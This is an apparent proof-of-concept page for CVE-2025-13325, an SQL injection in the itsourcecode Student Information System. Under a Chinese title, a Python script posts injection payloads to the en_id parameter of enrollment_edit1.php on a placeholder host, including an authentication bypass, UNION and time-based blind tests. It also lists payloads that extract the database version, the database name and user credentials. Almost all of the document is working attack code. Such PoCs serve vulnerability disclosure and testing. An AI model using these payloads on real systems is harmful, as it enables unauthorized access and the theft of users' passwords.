CVE-2025-13325 itsourcecode学生信息系统SQL注入漏洞

import requests # CVE-2025-13325 SQL Injection PoC # Target: itsourcecode Student Information System 1.0 # File: /enrollment_edit1.php # Parameter: en_id target_url = "http://target.com/enrollment_edit1.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", # Basic authentication bypass "1' UNION SELECT NULL--", # Union-based injection test "1' AND SLEEP(5)--", # Time-based blind injection "1' AND 1=1--", # Boolean-based injection test ] def test_sql_injection(url, param='en_id'): print(f"[*] Testing SQL injection on {url}") print(f"[*] Target parameter: {param}") for payload in payloads: data = {param: payload} try: response = requests.post(url, data=data, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error with payload {payload}: {e}") # Data extraction example (requires manual adaptation) def extract_database_info(url): # Database version extraction version_payload = "1' UNION SELECT @@version--" # Database name extraction dbname_payload = "1' UNION SELECT database()--" # Users table extraction users_payload = "1' UNION SELECT GROUP_CONCAT(user_id,':',username,':',password) FROM users--" print("[*] Example extraction payloads:") print(f" Version: {version_payload}") print(f" Database: {dbname_payload}") print(f" Users: {users_payload}") if __name__ == "__main__": test_sql_injection(target_url) extract_database_info(target_url)